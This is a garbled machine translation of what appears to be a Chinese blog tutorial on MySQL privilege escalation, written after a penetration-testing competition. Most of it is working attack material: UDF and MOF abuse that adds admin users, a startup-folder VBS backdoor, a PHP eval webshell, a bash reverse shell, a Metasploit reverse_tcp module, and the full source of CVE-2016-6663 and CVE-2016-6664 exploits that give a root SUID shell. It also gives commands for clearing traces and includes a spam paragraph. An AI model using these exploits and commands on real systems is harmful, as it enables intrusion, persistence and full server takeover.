preface

Two days ago, I participated in the Intranet penetration of the provincial competition. After I got webshell, I found that it was a separation of the station and the database. I got the account password of the database through information collection, but it was a WWw-data permission, so I could not execute the command of the proxy. Instead, the/TMP directory allows you to change permissions to 777 agents. Because Linux is seldom played, our team has been stuck in this place for a long time. As a result, we only hit the network of the first layer, and there is no time to play the Intranet of the second layer. Therefore, I need to supplement my knowledge about mysql.

UDF to ask right

What is a UDF

UDF is an extended interface of mysql. User-defined Function (UDF) can be translated into user-defined functions. It is a technical means to expand mysql.

Anyone who has used MySQL knows that MySQL has many built-in functions for users, including string functions, numerical functions, date and time functions, etc., which bring a lot of convenience to developers and users.

Although the built-in functions of MySQL are rich, they cannot meet the needs of all people. Sometimes, when we need to process the data in the table and the built-in functions cannot meet the needs, we need to expand MySQL.

Fortunately, MySQL provides a mechanism for users to add new functions, which are called User Define Functions (UDFs). In addition to udFs, users can also add functions to MySQL as native (built-in) functions, which are compiled into the mysqld server and are called permanently available. However, this method is more complicated than adding UDFs and more difficult to upgrade and maintain, which we won’t discuss here.

No matter which method you use to add new functions, they can be called by SQL statements, just like the inherent functions such as ABS() or SUM().

UDF utilization conditions

1. Know the database user and password.

2. You can log in to mysql remotely.

3. Mysql has the permission to write files, that is, secure_FILe_priv is null.

There is no need to say more about the first point, which can be obtained by looking through the files after getting the Webshell. For different situations, there are different ways to obtain it, which will not be described here; Let me just mention the second and third points.

By default, mysql only allows local logins. We know that navicat allows you to connect to the database (if you know the account password), but if you only allow local logins, you cannot connect to the mysql database even if you know the account password. So in this case only by getting the local high authority RDP login remote desktop connection.

/etc/mysql.conf = 127.0.0.1. This is the default setting if you want to allow remote access to mysql from any host. Bind -address = 0.0.0.0

Create a admin/123456 user and use % to allow any IP to log in to mysql. Then navicat will use admin/123456 to connect to the database remotely

grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges;Copy the code

As for the secure_file_priv parameter in point 3, there are three values: NULL, / TMP, and NULL. NULL, as the name implies, does not allow import or export.

/ TMP means that files can only be written to the/TMP directory. In this case, it is necessary to consider whether files can be written to the/TMP directory on the web page. If this value is null, You can then write files to any directory under the mysql database by constructing SQL statements.

Another important thing to remember is that before mysql5.5 secure_file_priv is null by default, so webshell is easier to use if the mysql database is under 5.5. After mysql5.5 the secure_file_priv value is NULL by default, meaning files cannot be written to the database.

In order to thank our readers for their support, we have prepared the following benefits for you: 1, more than 200 network security series of e-books (should have all) 2, the full set of toolkit (the most complete Chinese version, want to use which use which) 3, 100 SRC source technical documents (project learning, 4, Network security basic introduction, Linux, Web security, attack and defense video (2021 latest edition) 5, network security learning route (bid farewell to not popular learning) 6, CTF capture flag contest analysis (title analysis actual combat operation)

Manual lift right

First of all, download mysql from the official website. Here I download 5.5.19. Note that you need to download mSI file, not zip file

Download it and install it

The UTF-8 character set is used here

After installing mysql, run mysql -u root -p to access mysql

Since I am version 5.5.19, I have to put UDF dynamic link library files in the MySQL installation directory under the lib\plugin folder folder to create custom functions. We’re talking about dynamic link libraries, and dynamic link libraries are a way of implementing the concept of a shared function library, which ends with.dll under Windows and.so under Linnux

So where do I find my.dll or.so files here? Both files are built into SQLMap and MSF

Sqlmap = udf/mysql; sqlmap = udf/mysql

However, sqlMap provides these dynamic link libraries in order to prevent accidental killing are encoded and cannot be used directly. If the suffix is.so_ or dll_, you need to decode it. If the suffix is.so or.dll, you don’t need to decode it. The sqlMap also comes with a decoded py script, which can be decrypted by using the cloak.

The command is as follows (use 64-bit DLL here, change the suffix for other versions)

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
Copy the code

Here seems to be because of my local environment configuration problem py3 failed to execute, here switch to kali environment using Py2 decryption

python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
Copy the code

In addition, you can use the dynamic link library file provided by MSF. Note here that the dynamic link library in MSF has been decrypted and can be used directly. The dynamic link library directory under MSF is as follows

/usr/share/metasploit-framework/data/exploits/mysql/
Copy the code

Some functions are included to view directly in the 010 Editor

After the decryption process is complete, you need to put the decrypted UDF dynamic link library file in the mysql plug-in directory. Run the following command to query the location of the plug-in directory

show variables like "%plugin%";
Copy the code

My plugin directory is C: Program Files MySQL Server 5.5 lib/plugin

Use select @@basedir to check where MySQL is installed

Here, only one MySQL was installed separately, and no other Web was installed, so in order to better restore the environment, PHPStudy was used to build the environment. Here, I assumed that I had obtained a webshell of the target machine, but the permissions were very low, and UDF was used to raise the rights

The MySQL/lib folder has no plugin folder, so we need to create a folder first

Create plugin folder!

Then put the decrypted lib_mysqludf_sys_64. DLL in the plugin folder!

I changed the DLL name to UDF. DLL for convenience, but ERROR 1126 was reported here. After baidu search, I found that this DLL was not related to the system bit, but to the mysql version, and the mysql version of PHPStudy requires a 32-bit DLL to operate

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
Copy the code

Here I upload a 32-bit DLL into the Plugin folder

Then use the command to create a custom function

Then use the command to see if the sys_eval function has been added

select * from mysql.func;
Copy the code

If disable_functions are disabled, udF can also be used

Development: UDF shell

Allow outside even

Here we can use written code to automatically lift weights, so let’s test it out

First of all, upload PHP to a location that can be accessed by web pages. I’m not allowed to connect directly because there is no setting for external connection, only local connection is allowed. First of all, experiment with allowing external connection

Here to entermy.iniFile SettingsThe bind - address = 0.0.0.0

Then create an admin/123456 user to allow external connections

The login succeeds

Dump udF. DLL to plugin folder

Then create the function and execute the command

External connection is not allowed

Bind -address = 0.0.0.0; bind-address = 0.0.0.0; Reg and ew can be used here, but navicat tunnel script is more convenient because it is mysql.

Let’s test it first. It’s not allowed to connect

Nutunnel_mysql.php = nutunnel_mysql.php

Then set the HTTP tunnel when connecting

Mysql > connect to mysql

MOF to ask right

Mof is Windows (a file in the c: / Windows/system32 / wbem/mof/nullevt mof) called “managed object format” its role is to monitor every five seconds will process creation and death. Mysql > execute mOF with root permission After a certain period of time, the MOF will be executed. There is a VBS script in the MOF. Most of the VBS is the command of the CMD to add the administrator user.

Conditions of use

  1. It can be used only on Windows, such as XP and Server2003

  2. Have read and write permissions on the C:\Windows\System32\wbem\MOF directory

  3. You can find a writable directory to write to the MOF file

Manual lift right

Here I did not install the 2003 virtual machine, so I will not show the picture, write the steps of lifting weights

Generate the testmod.mod file and upload it to the target’s writable directory

#pragma namespace("\\\\.\\root\\subscription") ​instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; ​instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")"; }; ​instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };
Copy the code

Log in to the mysql cli and run the import command. After the import is complete, the system automatically runs

select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
Copy the code

You can run the net user command to find that the administrator has been added to the administrator group

MSF to ask right

MSF has a built-in MOF weight lifting module. Compared with manual weight lifting, the MOF module of MSF has the function of automatic trace clearing

Use exploits/Windows/mysql/mysql_mofset payload Windows/meterpreter/reverse_tcpset rhosts 192.168.10.17 set the username rootset password rootrunCopy the code

expand

Since the command of adding users will be executed again every few minutes, if you want to clear traces, you need to temporarily shut down the WinMGMT service and then delete the relevant MOF files, and then deleting the user will be effective

Net stop winmgmt# Delete Repository folder rmdir /s /q C:\Windows\system32\wbem\Repository\# delete mof file del manually C:\Windows\system32\wbem\mof\good\test.mof /F /S# delete created user net user hacker /delete# restart service net start winmgmtCopy the code

Enable item lifting

When Windows is booted up, there will be some booted up programs. The permissions of the programs started at that time are all system, because system started them. By taking advantage of this, we can write automatic scripts into the boot items to achieve the purpose of lifting rights. When the Windows startup item can be written by MySQL, you can use MySQL to import a custom script into the startup item. This script will run automatically when the user logs in, starts up, and shuts down.

This is not limited to mysql’s startup options.

Boot path

In windows2003, the boot path is as follows:

C: Documents and Settings Administrator "Start" menu "program" start C: Documents and Settings All Users "Start" menu "program" startCopy the code

In windows2008, the boot path is as follows:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
Copy the code

Automated script

When we get the Webshell of a website, if we want to further obtain the server permission of the website, check the readable and writable directory of the system disk on the server. If the Startup directory “C: Users\ User name \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” is readable and writable, you can upload a VBS or BAT script to raise rights.

The test. VBS command is used to add the user password. The password is automatically added when you upload the password to the startup directory and restart the system

set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
Copy the code

Using SQL statements

After connecting to mysql, create a table to write the SQL statement

use mysql; create table test(cmd text); Insert into a values(" set wshshell= createObject (" "wscript.shell" ") "); Insert into a values(" a=wshshell.run(" "cmd.exe /c net user test test123 /add",0) "); Insert into a values(" b=wshshell.run(" "cmd.exe /c net LocalGroup Administrators test /add",0) "); Select * from a into outfile "C: Documents and Settings\All Users\" Start "menu \ program \ start \secist.vbs";Copy the code

After the restart can be raised rights

CVE-2016-6663&CVE-2016-6664

Cve-2016-6663 is a Race condition vulnerability that allows a low-privileged account (with CREATE/INSERT/SELECT permissions) to raise permissions and execute arbitrary code as a system user. In other words, we can get a whole mysql permission through him.

Cve-2016-6664 is a root permission promotion vulnerability. This vulnerability allows an attacker who has MySQL system user permissions to promote permissions to root to further attack the entire system.

This is due to MySQL’s insecure handling of error logs and other files, which can be replaced with arbitrary system files that can be used to obtain root privileges. As you can see, the two Cves are used to promote the low privileges of www-data to mysql, and then promote mysql to root.

Conditions of use

CVE-2016-6663

1. The getShell has been granted the www-data permission

2. Get to the one with the create, drop, insert, select privilege database account and password

3. The weight lifting process needs to run in an interactive shell environment, so you need to bounce the shell to raise the weight

4.Mysql<5.5.51 or <5.6.32 or <5.7.14

CVE-2016-6664

1. The configuration of the target host must be file-based logs (the default configuration), that is, not syslog. Run the cat /etc/mysq/conf.d/mysqLD_safe_syslog. CNF command to check whether syslog is included.

2. You need to run the mysql database to use the mysql database

3.Mysql<5.5.51 or <5.6.32 or <5.7.14

Environment set up

Here we use a mirrored environment to tutum/lamp, run docker and connect

docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash
Copy the code

Install apt, wget, GCC, libmysqlclient-dev

apt updateapt install -y wget gcc libmysqlclient-dev
Copy the code

Write a one-sentence Trojan horse to facilitate subsequent connection. Note that in Linux, if you use the echo command to write a Trojan horse, you need to add ‘ ‘to escape; otherwise, an error will be reported

cd /var/htmlecho '<? php @eval($_POST['hacker']); ? >' > shell.phpCopy the code

Grant 777 permission to the Web path

chmod -R 777 /var/www/html
Copy the code

Add a on the test library into the mysql environment with the create, drop, insert, the test of the users select privilege, password is 123456

Restart the Apache2 and mysql services and save the container. Map port 80 of the new container to port 8080 and map port 3306 to port 3306 to run the container.

service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp
Copy the code

Access port 8080. If the following interface is displayed, the environment is set up successfully

CVE-2016-6663

Cve-2016-6663 will upgrade the www-data permission to mysql, first connect to webshell we wrote earlier

> > < span style = “font-size: 14px! Important;

Then exp, named mysql-privESc-race.c, exp as shown below

#include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH          "/tmp/mysql_privesc_exploit"#define EXP_DIRN          "mysql_privesc_exploit"#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"#define SUID_SHELL   	  EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessaryMYSQL *conn;		  // DB handlesMYSQL_RES *res;MYSQL_ROW row;unsigned long cnt;void intro() {printf( "\033[94m\n""MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n""mysql-privesc-race.c (ver. 1.0)\n\n""CVE-2016-6663 / CVE-2016-5616\n\n""For testing purposes only. Do no harm.\n\n""Discovered/Coded by:\n\n""Dawid Golunski \n""http://legalhackers.com""\033[0m\n\n");}void usage(char *argv0) {intro();printf("Usage:\n\n%s user pass db_host database\n\n", argv0);}void mysql_cmd(char *sql_cmd, int silent) {if (!silent) {printf("%s \n", sql_cmd);}if (mysql_query(conn, sql_cmd)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}res = mysql_store_result(conn);if (res>0) mysql_free_result(res);}int main(int argc,char **argv){int randomnum = 0;int io_notified = 0;int myd_handle;int wpid;int is_shell_suid=0;pid_t pid;int status;struct stat st;/* io notify */int fd;int ret;char buf[4096] __attribute__((aligned(8)));int num_read;struct inotify_event *event;/* credentials */char *user     = argv[1];char *password = argv[2];char *db_host  = argv[3];char *database = argv[4];// Disable buffering of stdoutsetvbuf(stdout, NULL, _IONBF, 0);// Get the paramsif (argc!=5) {usage(argv[0]);exit(1);} intro();// Show initial privilegesprintf("\n[+] Starting the exploit as: \n");system("id");// Connect to the database server with provided credentialsprintf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);conn = mysql_init(NULL);if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}// Prepare tmp dirprintf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);umask(000);system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);system("chmod g+s /tmp/" EXP_DIRN );// Prepare exploit tables :)printf("\n[+] Creating mysql tables \n\n");mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file// The file should be owned by mysql:attacker thanks to the sticky bit on the table directoryprintf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");system("cp /bin/bash " SUID_SHELL);system("ls -l " SUID_SHELL);// Use inotify to get the timing rightfd = inotify_init();if (fd < 0) {printf("failed to inotify_init\n");return -1;}ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */printf("\n[+] Entering the race loop... Hang in there...\n");while ( is_shell_suid != 1 ) {cnt++;if ( (cnt % 100) == 0 ) {printf("->");//fflush(stdout);	}/* Create empty file , remove if already exists */unlink(MYSQL_TEMP_FILE);unlink(MYSQL_TAB_FILE);mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);/* random num if needed */srand ( time(NULL) );randomnum = ( rand() % MAX_DELAY );// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlinkpid = fork();if (pid < 0) {fprintf(stderr, "Fork failed :(\n");}/* Child process - executes REPAIR TABLE  SQL statement */if (pid == 0) {usleep(500);unlink(MYSQL_TEMP_FILE);mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);// child stops hereexit(0);}/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */if (pid > 0 ) {io_notified = 0;while (1) {int processed = 0;ret = read(fd, buf, sizeof(buf));if (ret < 0) {break;}while (processed < ret) {event = (struct inotify_event *)(buf + processed);if (event->mask & IN_CLOSE) {if (!strcmp(event->name, "exploit_table.TMD")) {//usleep(randomnum);// Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE);myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);close(myd_handle);chmod(MYSQL_TAB_FILE, 04777);// Replace the temp .TMD file with a symlink to the target sh binary to get suid+execunlink(MYSQL_TEMP_FILE);symlink(SUID_SHELL, MYSQL_TEMP_FILE);io_notified=1;}}processed += sizeof(struct inotify_event);}if (io_notified) {break;}}waitpid(pid, &status, 0);}// Check if SUID bit was set at the end of this attemptif ( lstat(SUID_SHELL, &st) == 0 ) {if (st.st_mode & S_ISUID) {is_shell_suid = 1;}} }printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);system("ls -l " SUID_SHELL);printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");system(SUID_SHELL " -p -i ");//system(SUID_SHELL " -p -c '/bin/bash -i -p'");/* close MySQL connection and exit */printf("\n[+] Job done. Exiting\n\n");mysql_close(conn);return 0;}
Copy the code

I can’t execute it with the ant sword

After the nc and bash command is used, you can upgrade the permission from www-data to mysql

Nc - 7777 / bin/bash LVVP - > I & / dev/TCP / 192.168.2.161/7777 0 > & 1 CD/var/WWW/HTML GCC mysql - privesc - race. C - o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost testCopy the code

CVE-2016-6664

Cve-2016-6664 Upgrade mysql to root

The tutum/lamp logging method is not the default file-based logging, but syslog, so we will first change it to the default

vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf
Copy the code

Delete syslog and restart mysql

The use of exp

#!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates on this advisory.## This PoC exploit allows attackers to (instantly) escalate their privileges# from mysql system account to root through unsafe error log handling.# The exploit requires that file-based logging has been configured (default).# To confirm that syslog logging has not been enabled instead use:# grep -r syslog /etc/mysql# which should return no results.## This exploit can be chained with the following vulnerability:# CVE-2016-6663 / OCVE-2016-5616# which allows attackers to gain access to mysql system account (mysql shell).## In case database server has been configured with syslog you may also use:# CVE-2016-6662 as an alternative to this exploit.## Usage:# ./mysql-chowned.sh path_to_error.log ### See the full advisory for details at:# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html## Video PoC:# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/mysqlrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"function cleanexit {# Cleanup echo -e "\n[+] Cleaning up..."rm -f $PRIVESCSRCrm -f $PRIVESCLIBrm -f $ERRORLOGtouch $ERRORLOGif [ -f /etc/ld.so.preload ]; thenecho -n > /etc/ld.so.preloadfiecho -e "\n[+] Job done. Exiting with code $1 \n"exit $1}function ctrl_c() {echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."cleanexit 0}#intro echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"# Argsif [ $# -lt 1 ]; thenecho -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"exit 3fi# Priv checkecho -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"id | grep -q mysql if [ $? -ne 0 ]; thenecho -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"exit 3fi# Set target pathsERRORLOG="$1"if [ ! -f $ERRORLOG ]; thenecho -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"exit 3fiecho -e "\n[+] Target MySQL log file set to $ERRORLOG"# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>uid_t geteuid(void) {static uid_t  (*old_geteuid)();old_geteuid = dlsym(RTLD_NEXT, "geteuid");if ( old_geteuid() == 0 ) {chown("$BACKDOORPATH", 0, 0);chmod("$BACKDOORPATH", 04777);//unlink("/etc/ld.so.preload");}return old_geteuid();}_solibeof_/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"if [ $? -ne 0 ]; thenecho -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"# Safety checkif [ -f /etc/ld.so.preload ]; thenecho -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."exit 2fi# Symlink the log file to /etcrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOGif [ $? -ne 0 ]; thenecho -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"# Wait for MySQL to re-open the logsecho -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWERif [ "$THE_ANSWER" = "y" ]; thenecho -e "Got it. Executing 'killall mysqld' now..."killall mysqldfiwhile :; do sleep 0.1if [ -f /etc/ld.so.preload ]; thenecho $PRIVESCLIB > /etc/ld.so.preloadrm -f $ERRORLOGbreak;fidone# /etc/    dir should be owned by mysql user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"chmod 755 /etc/ld.so.preload# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo 2>/dev/null >/dev/null#while :; do #    sleep 0.1#    ps aux | grep mysqld | grep -q 'log-error'#    if [ $? -eq 0 ]; then#        break;#    fi#done# Check for the rootshellls -l $BACKDOORPATHls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"elseecho -e "\n[!] Failed to get root"cleanexit 2fi# Execute the rootshellecho -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0
Copy the code

To obtain the root permission, download the root permission script from the shell of mysql

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log
Copy the code